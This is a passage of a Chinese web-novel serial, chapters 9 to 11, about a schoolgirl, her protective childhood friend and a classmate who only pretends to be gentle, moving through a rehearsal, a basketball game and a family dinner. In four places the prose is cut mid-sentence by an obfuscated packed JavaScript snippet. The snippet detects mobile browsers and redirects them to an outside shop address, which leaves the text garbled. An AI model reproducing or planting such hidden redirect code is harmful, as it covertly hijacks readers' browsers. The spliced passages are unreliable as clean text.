偏偏霍鸷阳没有自知之明,硬是死皮赖脸凑到她面前,一个劲的问来问去:“怎么了,我说的不对吗?还是说我身材烂到你看都懒得看一眼?” 姜祁月忍无可忍:“这是身材好不好的问题吗?这是没有分寸感。” 她刚刚想了很久,依旧想不明白霍鸷阳吃错了什么药。明明之前还好好的,这个学期开始变得越来越奇怪。 小时候的事情怎么能拿到现在说? “下次绝对不会上衣穿到一半就让你进来。”察觉出她有生气的趋势,霍鸷阳立刻道歉求原谅:“别生气了好不好?今天气温这么高,我怕你站在外面热,就寻思让你早点进来吹吹风。” 霍鸷阳的道歉态度非常诚恳,加上是初犯,姜祁月没有继续计较,只说了句:“下次注意点影响。换成其他人,说不定会以为你在故意耍流氓,把你抓起来打一顿。” “其他人打不过我。”霍鸷阳颇为得意,顺着杆子往上爬:“而且我也不会让其他人看见,连在学校换球服都是去没人的隔间。” 学校里的男生从来不在乎这些,热起来直接在球场上换衣服的都有,霍鸷阳在这方面就不一样,非常的讲究,要不是为了…… “是吗,那刚刚是怎么回事?”姜祁月原本不想计较的,听见霍鸷阳的话又改了主意:“别跟我说怕我热,你把衣服往下拉一下的时间我还是能等得起的。” 短短两句,把霍鸷阳怼得不知道说什么好。 别看姜祁月平时文文静静,像只好欺负的兔子,实际上把她逼得急了,说出来的话杀伤力一句比一句强。 不过能把好脾气的姜祁月气成这样,估计也就只有霍鸷阳能做到。 霍鸷阳生硬的转移话题,声音里带着没掩饰住的期待:“抛开这个不谈,就说身材,你觉得怎么样?”肯定比那个所谓的校草好。 后半句话霍鸷阳只敢在心里想想,不敢往外说。 他知道一旦自己说出来,姜祁月肯定更生气。 不过现在姜祁月已经很生气了,难听的话又说不出口,硬生生把自己憋得面色涨红,说话时声音都有些不稳:“一点都不怎么样。” 一听这话,霍鸷阳顿时急了,顺手捞起放在桌上的镜子,仔细打量了自己好几眼,确定没有任何变化才放心,重新有了底气跟姜祁月说话:“不可能吧?”刚刚他特意透过衣领往下看了,肌肉什么的都在,是同龄人看见都忍不住羡慕的类型。 姜祁月还在生气,根本没理他。 这让原本还很自信的霍鸷阳再次陷入自我怀疑,心里急得抓耳挠腮,连带着把给自己出主意的网友怀疑上了。 他担心现实中的熟人不靠谱,中午特意上网加了个千人群,把自己情况说明后,诚意十足地发出去好几个大红包,成功讨来群友们刷好感的经验。没想到正式投入使用后,居然根本不适用! 姜祁月不仅对他身材不感兴趣,还被他给惹生气了。 挫败感如同潮水般席卷而来,霍鸷阳整个人如同霜打的茄子般蔫哒哒的。 姜祁月不知道他在发愁什么,调整好自己的情绪说起正事:“下午不是还有场训练赛吗?衣服都换好了,还在这里呆站着干什么。” “马上就走!等我关一下电风扇!”霍鸷阳急忙放下镜子,抬手关掉电风扇。 现在的他急着补救,根本顾不上其他。 慌乱的动作差点打翻镜子,还好及时扶住才没摔下去。 处理好这些,霍鸷阳立刻带姜祁月往学校赶。 刚刚兵荒马乱地,耽误了不少时间。他自己倒是无所谓,就怕再惹姜祁月不高兴。 等红绿灯的时候,霍鸷阳脑子里还在想乱七八糟的事。 刷了一上午贴吧,他这心里又酸又涩的,越想就越觉得不甘心。 直到现在他都想不明白,为什么所有人都看不出来他对姜祁月有好感,觉得他们是单纯的兄妹情,宁可磕姜祁月和陌生人的cp,也不磕姜祁月跟他的,即便有少数人指出来这点,也被嘲笑“真是饿了”。 或许是只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13410041|140479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有两个人在,时机正好。 又或许是气温太高,让人情绪躁动。 霍鸷阳回头,仿佛不经意间提及般,用开玩笑似的语气问姜祁月:“说起来真是奇怪,学校抓早恋抓的那么严,贴吧磕cp也是,怎么没人觉得我们两有一腿?” 这个问题对姜祁月而言很简单。 她没有丝毫犹豫,声音轻柔的回道:“因为我们问心无愧,做事坦荡。而且正常情况下,应该不会有人喜欢过于了解自己的人吧?” “你也是这样?”霍鸷阳问。 姜祁月垂眸,卷翘睫毛轻轻颤动,沉吟片刻后语气更加肯定:“嗯,你不觉得和从小一起长大,知道自己所有糗事的人在一起很奇怪吗?不,严格来说是根本无法想象。” 回答完,姜祁月也很感慨。 要不是霍鸷阳突然问,她都没往这上面想过。 正是因为问心无愧,知道其他人没有其他意思,她才从未把其他人开她和霍鸷阳的那些玩笑放在心上。 要是她跟霍鸷阳真有什么,那些开玩笑的人反应绝对比谁都大。 他们这个小镇学生不多,一共就两所高中,很多同学都是从小学和初中一起升上来的,相互之间都认识。 托了霍鸷阳的福,他的校霸名声那么响亮,事迹传播的也广,其他不了解的人听得多了,对他们的关系都有了刻板印象,更不会怀疑霍鸷阳和她之间有一腿。 想到这里,姜祁月歪了歪脑袋,有些疑惑:“你怎么突然想起来问这个?” “没什么,就突然想起来了,有点好奇。”回答完姜祁月,霍鸷阳重新转回身:“坐稳点,绿灯快亮了。” 姜祁月没有多想:“好,慢一点也没事,注意安全。” “还是快点吧,防止有人在学校里等急了。”霍鸷阳说话瓮声瓮气的。 话是实话,听着总觉得有点奇怪。 像是在似有所指谁。 说话的音量并不大。 坐在后面的姜祁月听见了,但她并没有追问是谁。 按照她以往的经验,再问下去说不定会引来麻烦。 她不喜欢麻烦。 到了校门口,姜祁月率先下车,将头盔放进车篮里,朝霍鸷阳打了声招呼:“我先走了。” 霍鸷阳挥了挥手:“去吧,等我弄好就去找你。” 9.独发,严禁转载 虽然是周六,但校门依旧开着,方便体育生们训练。 和霍鸷阳分开后,姜祁月走进校门,往音乐教室方向赶。 赶到音乐教室时,温绥晏已经在那儿坐着了。 “久等了,路上红灯有点多,来得有些晚。”姜祁月满脸歉意。 温绥晏摇了摇头,温声说:“没等多久,我也才到。” 姜祁月朝温绥晏道了声谢,在自己的位置上坐好。 刚刚进来的时候,她就看见温绥晏摆在桌上的水杯空了一半,显然等了有一会儿了。这种安慰人的话听听也就算了,不能真信。 “真想谢我的话,不如排练完请我喝杯水?”见她一脸正经的道谢,温绥晏忍不住打趣了一句。 没想到姜祁月还真当真了。 想到早早打好招呼的霍鸷阳,姜祁月试探着问温绥晏:“今天还有些事,下次可以吗?” 为了排练的事,她都没去看霍鸷阳比赛,再因为请人喝水放他鸽子,霍鸷阳肯定得原地爆炸。 除此之外…… 本来霍鸷阳就对温绥晏没什么好印象,再加上这件事更别想转变霍鸷阳的看法。 她夹在中间会很为难。 “是要去看他们打球吗?”温绥晏顺势往下问,目光落在姜祁月身上时,不自觉带上几分笑意:“不用特意请我喝水,刚刚只是开玩笑。” 之前温绥晏只是听其他人说姜祁月是出了名的好学生,相处一段时间后更是对此深有感触。她不仅是好学生,性格还很单纯和较真,随口一句玩笑话都能记心里,认真给出回答,让人有被重视的感觉,相处起来很舒服。 就是太较真了,有时候很难办…… “嗯,排练结束我就去操场。”姜祁月不知道温绥晏在想什么,认真回答他的问题:“不过水还是要请的。” 温绥晏被她一本正经的样子逗笑了,唇角上扬:“那我就不客气了。对了,最近我刚好没什么事做,要是你不介意的话,等排练结束可以带我一起去操场凑个热闹吗?” 温润的声音传入耳中。 姜祁月耳尖微红,含糊应了声。 担心态度不够明显,她还鼓起勇气点头:“不介意的。” 刚好她打算去小卖铺买两瓶饮料带给霍鸷阳,温绥晏跟着一起去正好方便她兑现承诺,不用等到下次特意去跑一趟小卖铺请人喝。 除此之外,姜祁月还有个打算。她早就想把温绥晏介绍给霍鸷阳认识,这次正好是个好机会。 “那就谢谢了,现在先排练。”温绥晏指了指钢琴,声音温和清朗。 姜祁月点头:“好。” 曲子记熟后弹起来没有难度,这么多天磨合下来,一起弹也没出现一开始的不融洽,整首曲子弹完,呈现出的效果非常好。 良性循环下,排练效果大大增加。 排练时间比预期短了不少。 温绥晏收拾东西的间隙,姜祁月从背包里拿出手机看了眼。 才过去两个半小时。 这个时间训练赛肯定没结束,霍鸷阳还在操场。 “都收拾好了,走吧。” 温绥晏的声音打断姜祁月思绪。 她应了一声,抬头对温绥晏说:“我们先去小卖部买水。” 下午四点,室外温度依旧很高。 出了音乐教室,太阳直直照在人身上,火辣辣的疼。 好在学校绿化做得不错,再往前走几步就到了小路。 路边绿树成荫。 树叶被风吹得沙沙作响,知了叫个不停。 夏意正浓。 小卖铺建在操场后面,虽然店面不大,但麻雀虽小五脏俱全,平时生意就非常好,到了周六日也是如此。 姜祁月和温绥晏过去的时候,里面还有不少人在排队结账。 今天是训练赛,不少人都结伴赶来凑热闹。看这些排队结账的人满头大汗的样子,估计在操场站了很久,热得受不了了过来买冷饮。 小卖铺人都这么多了,操场上围观训练赛的人绝对不少。 温绥晏扫了一眼就收回目光,询问身边的姜祁月:“还进去吗?” “嗯,你去选瓶自己爱喝的,我请你。”姜祁月点头,顺着货架绕了一圈走到饮料柜前,跟温绥晏打完招呼就专心选起自己需要的饮料。 拿了两瓶霍鸷阳常喝的汽水,姜祁月站到一边等温绥晏。 温绥晏没让她久等,从柜子里取出矿泉水递到姜祁月面前,浅笑盈盈:“谢谢请客。” 姜祁月看了一眼。 是最便宜的那款,一块钱就能买到。 显然,温绥晏在有意替她省钱。 很细微的小举动,却轻而易举扰乱姜祁月的心。 她想说自己不差一瓶饮料钱,但对上温绥晏那双笑盈盈的温润眼眸,还是一句话也没说。 算了,大不了下次再请一次。 结账的阿姨在小卖铺干了很多年,动作非常麻利,结账速度很快。 排队结完账,姜祁月将矿泉水还给温绥晏。 温绥晏顺手接过。 他们跟着其他结完账的人一起往前走。 在小卖铺时大家都快热死了,忙着蹭空调和结账,没什么人注意到他们,现在从小卖铺出来,精神状态瞬间恢复。 许多人都注意到姜祁月和温绥晏这两个风云人物。 一个是文科第一,一个是理科第一,长得还那么好看,一起结伴往操场走。 哪怕什么互动也没有,中间还隔着一段正常社交距离,这一幕看着也很有氛围感,非常养眼。 众人心里都在感叹,怪不得贴吧上那些人都在磕cp,换成他们也想磕,这可真是登对啊。 神色各异的目光落在身上,姜祁月有些不自在。 身边的人敏锐察觉到异常,侧眸询问:“怎么了,是有什么地方不舒服吗?” 姜祁月欲言又止,最终还是摇头:“没什么……” 反正只是被盯着看,之前也不是没发生过,只要不当着她面说,她都可以当作没发生过。 只是她没想到,等他们走到操场上,情况更糟糕。 人都爱八卦凑热闹,数量一多更不可控。 不再是之前的单纯打量,许多人一边偷看他们,一边小声和同伴说着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13426717|140479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么。 路过看台时,姜祁月多注意了一下,听见他们讨论的大多是她和温绥晏是不是真的,少数几个则是打赌温绥晏跟霍鸷阳会不会打起来。 这事是假的还好,如果是真的,就算不打起来也得闹矛盾。 平心而论,要是自家水灵灵的翡翠白菜被拱了,他们这些做哥哥姐姐的也会心理不平衡。就算只是关系好的朋友,遇到这种情况都会挑出一大堆毛病。 听完他们聊的内容,原本很放心的姜祁月也有点紧张,拎着袋子的手都冒出了汗。 不会真像大家说的那样吧…… 很快,姜祁月就摇头否认了。霍鸷阳不是那种人,不可能因为捕风捉影的事跟温绥晏打起来,不过还是得好好跟他解释一下。 看台距离篮球场有一小段距离,除了晒得受不了的人待在看台休息外,更多人选择站在篮球场附近围观。 来都来了,肯定得近距离看。 姜祁月领着温绥晏往篮球场走。 明明隔着百来米距离,远远的就有好几个人在朝她挥手,声音加起来大的不行。 “这儿呢!霍鸷阳在这儿!” 对姜祁月来说,这声音不算陌生。 是篮球队的队员们。 每次霍鸷阳有比赛,姜祁月都会被拉来看,大伙都认识,看见她来就知道她要找谁。 果不其然,刚一上前,一个替补队员就主动说:“霍鸷阳还在场上,得等会儿才能下来。” “谢谢。”姜祁月点头。 替补队员好奇看向她身后:“这位是温绥晏吧。” 用的是肯定句。 其他队员也双眼发亮的盯着他们看,眼底带着八卦之色。 显然,他们也听见风声了。 学校消息传得是真快。 不等姜祁月说话,温绥晏就上前一步承认道:“是我。” 温润嗓音很特别。 这个年龄段的男生青春期还没结束,性格也很急躁,像温绥晏这样温柔守礼的实在太少见了。 别说女孩子喜欢,就连男生看见也忍不住自惭形秽。 几个队员对视一眼。 是个不好对付的角色,让霍鸷阳这个妹控看见,绝对会原地爆炸! 现在说这些已经晚了。 因为霍鸷阳听到动静侧身,刚好看见了这一幕。 烈日当空,骄阳似火。 球场上桀骜不驯的少年紧皱起眉心,不爽的啧了一声。 下一秒,手中篮球被他用力扔出去。 动作随意,带来的后续相当震撼。 篮球在空中划过一道弧度,重重砸在篮球框上,立在边缘转了好几圈,看着摇摇欲坠。 还在看比赛的人大气都不敢喘。 好在篮球绕完圈,稳稳当当落进筐内,掉在地上发出哐当一声响。 叫好声从四面八方响起。 球场上的霍鸷阳意气风发,充满少年气,非常耀眼。 姜祁月没有错过这一幕。 她不是很懂篮球,但看见这个场景,还是会和其他人一样感到热血沸腾,连脸蛋都变得红扑扑的。 10.独发,禁止转载 被欢呼声包围的霍鸷阳一句话都没说,面无表情地走向姜祁月。 看比赛的人自觉让路。 姜祁月觉得有些奇怪,率先开口问:“怎么这个时候下场,不继续打吗?” 霍鸷阳抬手擦掉顺着额头往下滑落的汗珠,周身气压更低:“这话不该我来问吗,怎么突然带了其他人过来?” 说完,又将姜祁月身边的人上上下下仔细打量了一遍,眼底是毫不掩饰地嫌恶。 气氛瞬间变得紧张起来。 显然,霍鸷阳并没有改变对温绥晏的坏印象,也不欢迎温绥晏的到来。 别说距离近的姜祁月,连稍微远点的队员都察觉到了异常,急忙凑到霍鸷阳身边劝起他。 劝人的时候还记挂着霍鸷阳要面子,体贴的把人拉到一边,压低声音说话。 “霍哥,不就是多了个看比赛的人嘛,也影响不到什么。” “霍哥别生气,都是些捕风捉影的事。” “就是,你妹妹来的时候还带了饮料,再板着脸这饮料你怕是也别想喝了,到时候便宜了别人生气的不还是你吗。” “……” 一句又一句劝导的话传入耳中。 霍鸷阳渐渐冷静下来,不再像刚刚那样低气压,没好气的说了句:“我又不傻,怎么可能不知道这些。” 丢下这句话,霍鸷阳绕过队友走回姜祁月身边,装作什么事情都没发生,扬眉问道:“给我带的饮料?” 自始至终眼睛都没往温绥晏那边看,完全无视了这个人。 姜祁月自然察觉到了,顺着他的话点头,将袋子递给霍鸷阳:“你没带水,就多买了几瓶。” 霍鸷阳接过袋子:“买一瓶就够了,买那么多也不嫌费钱。” 话虽然这样说,脸上却满是得意地笑,比进了球还高兴。 围上来的队员见状,埋怨般对霍鸷阳说:“话也不能这样讲,有妹妹真是好啊,我们就没人送水。” “那是当然。”霍鸷阳脾气来得快去得也快,自己就把自己给哄好了,还从其他人话里找到让自己高兴的地方。 跟其他人比起来,他可不就让人羡慕吗。 霍鸷阳越想越得意,昂首挺胸的说:“不打了,一直打到现在,你们继续,我先歇歇。” “得嘞,可算等到我们上场了。” 队员们对此都很高兴。 不夸张地说,这里围的一半人都是为了看霍鸷阳打球,除了看脸外,最重要的一点就是霍鸷阳打球很厉害,光是看着就很爽。 之前霍鸷阳心情不好,一直用打球来发泄情绪,他们这些候补的没机会上场,现在霍鸷阳下场刚好轮到他们上。 新一轮比赛开始,大部分人注意力都被吸引过去,只有少部分人还在往霍鸷阳那边看,耳朵竖得跟兔子似的。 霍鸷阳丝毫没有受到影响,心情很好地打开袋子开了瓶汽水。 汽水刚从小卖铺买回来,瓶身凝聚着不少小水珠,还是冰的,一口喝下去非常舒服。 打了这么久球,霍鸷阳又热又渴,一瓶汽水很快就喝完了。 目光落在袋子里的另一瓶汽水上,有些舍不得拆。 今天已经喝过一瓶了,这瓶还是带回去留着以后再喝。 霍鸷阳把喝完的瓶子丢到几步外的垃圾桶里,转而问姜祁月:“我这边结束了,你想现在回去还是找个阴凉地歇会儿?” 姜祁月抿了抿唇瓣,不知道该说些什么好。 霍鸷阳好像铁了心当没看见温绥晏。 温绥晏也一直没出声,就那样站在她身后。 要不是周围人还在往他们三个身上打量,姜祁月都要怀疑温绥晏是不是真的空气了。 霍鸷阳侧眸,稀奇的问:“傻站着干什么?不晒吗?” 这一次姜祁月总算开口了:“找个凉快点的地方待着吧。” 就算霍鸷阳没有任何表示,温绥晏也一直站在她身后,要是就这么走了,下次见面多尴尬啊。 还是找个凉快点的地方,想办法改善一下这种情况。 “也成,走吧。”霍鸷阳带头往前走。 犹豫几秒,姜祁月充满歉意的对温绥晏说:“不好意思,他平时不是这样的。” “没关系。”温绥晏轻声一笑,温声问:“我们已经是朋友了吧,不用那么客气。” 好脾气的样子让姜祁月更过意不去。 到了休息室,霍鸷阳回头想跟姜祁月说些什么,见温绥晏还跟在后面,面色再次变得无比难看。 他真是第一次看见这么不要脸的人,都明摆着不欢迎他了,居然还舔着脸跟上来。 依他看,这人表现出来的温柔模样,也是故意装出来迷惑人的。 霍鸷阳嫌弃的收回目光,打开自己柜子里的毛巾擦汗。 一边擦一边在心里想着,不仅脸皮厚,还没眼力见。真像传言那样温柔礼貌,就不该跟上来让人为难。 他的嫌弃目光毫不遮掩,姜祁月跟温绥晏站在一起,感受得清清楚楚。 担心霍鸷阳继续装看不见,姜祁月主动开口对温绥晏介绍:“这是霍鸷阳。” 察觉到姜祁月替自己解围,温绥晏温柔一笑,随后朝霍鸷阳伸出右手,自我介绍道:“你好,我是温绥晏。” 和满身大汗的霍鸷阳相比,温绥晏衣着得体,淡然自若,形成截然相反的两个极端。 自我介绍都冒出来了,再装看不见就说不过去了。 霍鸷阳咬紧后槽牙,将毛巾搭在架子上,皮笑肉不笑地握住温绥晏的手,一字一顿地说:“霍鸷阳。” 见他们握手,姜祁月心里悬着的大石头总算落下。 她并不知道握手的两人在暗自较劲,握手力气大到手掌皮肤失血泛白。 暗流涌动下,谁也不服谁。 比力气温绥晏肯定比不过霍鸷阳,很快就败下阵来。 霍鸷阳松开手,眼中嫌恶之色更重,更看不起温绥晏了。不过这一次他藏得很好,没让姜祁月看出来。 打完招呼,霍鸷阳自顾自走到架子边洗毛巾,一句说话的意思都没有。 偌大的休息室只有三个人。 谁也没有开口。 气氛有些凝固。 姜祁月还在垂眸沉思说些什么活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13438151|140479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跃气氛时,温绥晏已经贴心说话帮忙暖场了。 “刚刚在篮球场听他们喊你妹妹,你比霍鸷阳小很多吗?”温绥晏一副好奇的样子。 有人说话,姜祁月自在许多,回答道:“没有小很多,他跟我是同一天出生的,只比我早出生半个小时。” “半小时啊……”温绥晏点头,不知道在感慨什么。 落在霍鸷阳耳中,就是意味深长地内涵自己。 ——哗啦! 毛巾被丢在池子里,霍鸷阳皮笑肉不笑的对温绥晏说:“对,就是半个小时,怎么,你有什么意见?” “你误会了,我没有意见。”温绥晏轻叹一声,无奈地解释:“就是觉得早出生半小时就让祁月叫哥哥,有点不太合适。” 顿了顿,温绥晏又说:“我觉得你对我可能有什么误会,我没有别的意思。” 霍鸷阳自动无视最后一句话,针对前面两句怼道:“有什么不合适的?她爸妈都没觉得有问题,你凭什么觉得不合适?还有,谁让你祁月祁月地叫的?才认识几天,你们很熟吗?” 都说温绥晏多优秀出色,霍鸷阳是真的没有感觉出来。 他很相信自己的眼光和直觉。在看人上他遗传了自己父母的火眼金睛,这么多年从没看走眼过。 无论怎么看,他都觉得温绥晏不是好人。 直觉告诉他,再让姜祁月和温绥晏待下去,说不定会发生更多不可控的糟糕事情。 哪怕知道姜祁月心里有数,霍鸷阳也不放心。 他拧干手中毛巾找位置晾好,对姜祁月说:“时间不早了,我们先回家。乔姨下午给我发消息说在家里炖了汤,现在回去正好能喝。” 到了嘴边的指责还是没有说出来。 长辈都搬出来了,姜祁月根本不知道怎么拒绝。 她睫毛轻颤,不知道第几次朝温绥晏投去歉意目光,就算没有说话,也默认了先回去的事。 “那你们先回去吧。”温绥晏面色如常,依旧带着温润浅笑,整个人透着股温润气质,善解人意的出声道别,没让姜祁月为难:“路上小心,下次见。” “好,你也早点回去,路上小心。”姜祁月点头应下,心底对他的愧疚更甚。 霍鸷阳见了牙酸的很,伸手拍了下姜祁月肩膀:“走了。” 也就姜祁月心软,那么大的人,独自回去能出什么事? “那我走了。”姜祁月回头跟温绥晏打了声招呼,和霍鸷阳一起离开了休息室。 他们离开后,休息室只剩下温绥晏一人。 温柔浅笑渐渐消失,转而变为面无表情,看起来甚至有些瘆人。 霍鸷阳看人确实很准,下意识排斥温绥晏。 温文尔雅只是温绥晏习惯伪装出来的假象。 有时候装得太久,连他自己都习惯了。 不过那又怎么样呢? 温绥晏目光落在那条毛巾上,脑海中浮现出霍鸷阳气急败坏的模样。 那些小女生最喜欢他这个样子。 谁会信霍鸷阳说的话? 再严重一点,说不定会觉得霍鸷阳在无理取闹。 11.独发,禁止转载 离开休息室,霍鸷阳难看的面色渐渐变好。 把车从停车棚推出来时,他刚好看见姜祁月愁眉不展的样子,还是没忍住多说了一句:“以后离他远点,他不像是好人。” 他知道这句话说得多了起不了多少作用,但有总比没有好。就姜祁月那个单纯性子,别给人骗了还帮人数钱。 “温绥晏不是这样的人,你不要这样。”沉默了一路的姜祁月终于开口。 即便知道她说话时留了几分情面,没有用无理取闹来形容霍鸷阳,说的话也跟刀子似的狠狠扎进霍鸷阳的心。 霍鸷阳气极反笑,说话声音不自觉加大:“他究竟喂你喝了什么迷魂汤,让你这么护着他?” 他们现在还没出停车棚,四周还有其他人。 听见动静声,众人纷纷朝他们这边看。 看清是谁起了争执后,他们干脆停了下来,准备凑完热闹再离开。 霍鸷阳倒是没觉得有什么,依旧倔强的看着姜祁月。 姜祁月败下阵来,戴好头盔坐在后座上,轻声对霍鸷阳说:“没护着谁,有什么事回家再说好不好?你不是说我妈妈炖了汤等咱们回去吗?回去晚了就喝不到了。” 乔姨炖出来的汤非常好喝。霍鸷阳没再发难,勉强被这个理由说服了,嘴唇紧抿成一条直线,面无表情地开车回家。 虽然霍鸷阳嘴上不说,但他听见“回家”和“咱们”这些词时,心里还是很受用的。 姜祁月不知道霍鸷阳心里在想什么,对她来说只要能离开就好,不然学校贴吧明天肯定要出现八卦帖。 她还是很要面子的,不想变成别人茶余饭后的谈资。 电动车开进院子里,停在霍鸷阳家桂花树下。 姜祁月下车放好头盔,抬头对霍鸷阳说:“我觉得我们需要好好聊一聊,你对温绥晏好像有点误会,他什么也没做过,你不该对他抱有那么大的恶意。” 她说话时语气很认真,神色也是如此,哪怕嗓音偏软,也没人能把她的话不放在心上。 回来的路上姜祁月一直在想这件事。 不能再自欺欺人下去了,看霍鸷阳的样子,再不摊开来好好聊聊,以后只会跟温绥晏闹出更大的矛盾。 “没什么好聊的,我还会故意骗你不成?”霍鸷阳没有好好聊聊的意思,恨铁不成钢的看着姜祁月。 在霍鸷阳眼中,姜祁月就是被绿茶给迷惑了。除非姜祁月自己醒悟过来认识到那是绿茶,不然说什么都没用,还会被当成故意针对,甚至起到反作用,这些不是他想看见的。 霍鸷阳的态度很坚决,一点都不配合。 计划再三落空。 姜祁月没办法,只能失落的换了个话题:“你不想聊就先不聊,要去我家喝点汤吗?淑琴阿姨现在应该也在我家。” “去,当然要去。”只要不聊跟温绥晏有关的话题就行。 霍鸷阳答应得非常爽快。 一想到温绥晏只能孤零零一个人回家,而他却能去姜祁月家蹭吃蹭喝,心情顿时变得无比舒畅。 姜祁月猜得没错,淑琴阿姨确实在她家。 他们到的时候,张淑琴正捧着一碗汤喝得真香,甚至没有察觉到有人回来了,只顾着跟乔玉韵说话:“小韵,还是你做的汤好喝,没人能做出这种味道来,这次真是沾了小辈的光。” 乔玉韵莞尔一笑,在闺蜜面前比往日活泼许多:“说得跟我亏待了你似的,什么时候你想喝我没给你做过?连小乖她爸都没这待遇。” “那哪儿能一样,以前是专门做给我喝的。”张淑琴不赞同。 霍鸷阳刚好走到门口,将这一幕尽收眼底。 他亲妈脾气有多暴躁他还是很清楚的,只有在乔姨面前不一样,像个别扭的小孩儿。 心里啧啧称奇的同时,嘴上还不忘贱兮兮地说:“那能有什么办法,谁让乔姨更喜欢小乖和我?妈,看来你只能等到我跟小乖上大学后,才能享受到以前的待遇喽。” “就你长了一张嘴,不会说话就别说,这汤你也别喝了。”张淑琴被自家的混小子气的手指发颤,抄起手边的扫把就往霍鸷阳身上砸。 说起来她就生气,好歹是同一天生的,怎么她就生出来这么个不省心的东西? 要不是仅剩的母爱在阻拦,这欠揍的小子早就被她给打死了。 乔玉韵忙伸手拦住扫把,无奈地劝了句:“好了,有话好好说,别打孩子。” 霍鸷阳身姿矫健,在扫把砸到自己身上时灵活地往旁边躲,顺便还把身边的姜祁月往一边拉了拉,没让她受到波及。 一套流畅地躲闪动作下来,任谁都能看出他被打出了经验来。 被拉到一边的姜祁月早已习惯了这一幕,轻车熟路救起场:“淑琴阿姨别生气,霍鸷阳今天赢了比赛,在体育方面还是很有天赋的。” “何止是有体育天赋,瞧瞧这躲闪的速度多快多灵敏,不把他送去练武都可惜了,要是没生错年代,高低当个御前侍卫。”张淑琴瞪了霍鸷阳一眼。要不是小乖替他说话,今天她高低得再揍霍鸷阳一顿。 这话说的…… 姜祁月难得沉默了。 之前她还奇怪霍鸷阳怎么一开口就是阴阳怪气,原来是青出于蓝而胜于蓝。 霍鸷阳也不是吃素的,一张嘴非常气人,故意从乔姨身后探出个脑袋,嬉皮笑脸的对亲妈说:“现在也不是不成,以后我给你家小乖当御前侍卫。” “就你?”张淑琴冷笑一声,嫌弃地别过头,喝了口汤压火气,摆明了看不起霍鸷阳:“以后小乖可是要干大事的人,你这嘴欠的性格和成绩我都不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13451234|140479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想说什么。” 乔玉韵重新盛了几碗汤放在桌上,特意把最大的那碗摆在张淑琴面前,温声细语地说:“还有一年时间呢,咱们慢慢来,别把自己给急坏了。” “我都懒得去管他。”张淑琴换了碗汤,眉目重新舒展开来,干脆眼不见为净,背过身不看霍鸷阳。 霍鸷阳笑嘻嘻的端起一碗汤,还没喝就夸上了:“乔姨做的汤就是好喝。” 张淑琴没好气:“好喝也跟你没关系,等你高考结束我就带你乔姨去旅游。” 姜祁月看了妈妈一眼,眼底是如出一辙的无奈。 闹腾是闹腾了点,但家里多了两个人,瞬间变得热闹起来,变得非常鲜活,并不让人讨厌。 当天晚上,霍鸷阳洗漱好再次打开学校贴吧。 这么多天下来,他已经养成定期看学校贴吧的好习惯,每天空闲下来都会刷刷学校贴吧。 在放任之下,磕cp的热度降低许多,只偶尔冒出几个帖子。 每次刷到“干净”的首页,霍鸷阳心情都会变得很好。 但今天不一样。 今天好不容易降下去的热度,有卷土重来的趋势,甚至比前段时间讨论度还大。 点进帖子一看,霍鸷阳心里酸得要命。 亏他以为只有他得到了小乖送的饮料,没想到那个男的也有。 再一看牌子。 最便宜的矿泉水啊。 酸溜溜的心情被诡异的优越感替代。 有又怎么样,小乖更愿意给自己花钱,一瓶饮料抵得上两三瓶矿泉水,更别说他还有两瓶。 这样一想,憋闷的心情舒服多了。 不过贴吧里那些同人文帖子看着太让人不爽了。 霍鸷阳点开银行卡余额。 他消费欲低,平时零花钱全存起来了,逢年过节得到的红包也是,这么多年攒下来,数额非常可观。 余额很充裕,足够他做想做的事。 确认这一点,霍鸷阳长舒一口气。他找到拍下姜祁月和温绥晏照片的那个帖子,点进第一个在帖子里写同人文的用户主页。 骨节分明的手指轻触屏幕,发了条私信过去。 贴吧用户_3901:【接不接同人文约稿?有偿的。】 发完私信,霍鸷阳重新回到贴吧首页,刚打算往下翻,就发现私信有回复了。 我爱磕cp:【啊?有偿约同人文?可以问问您想约的是谁的同人文吗?】 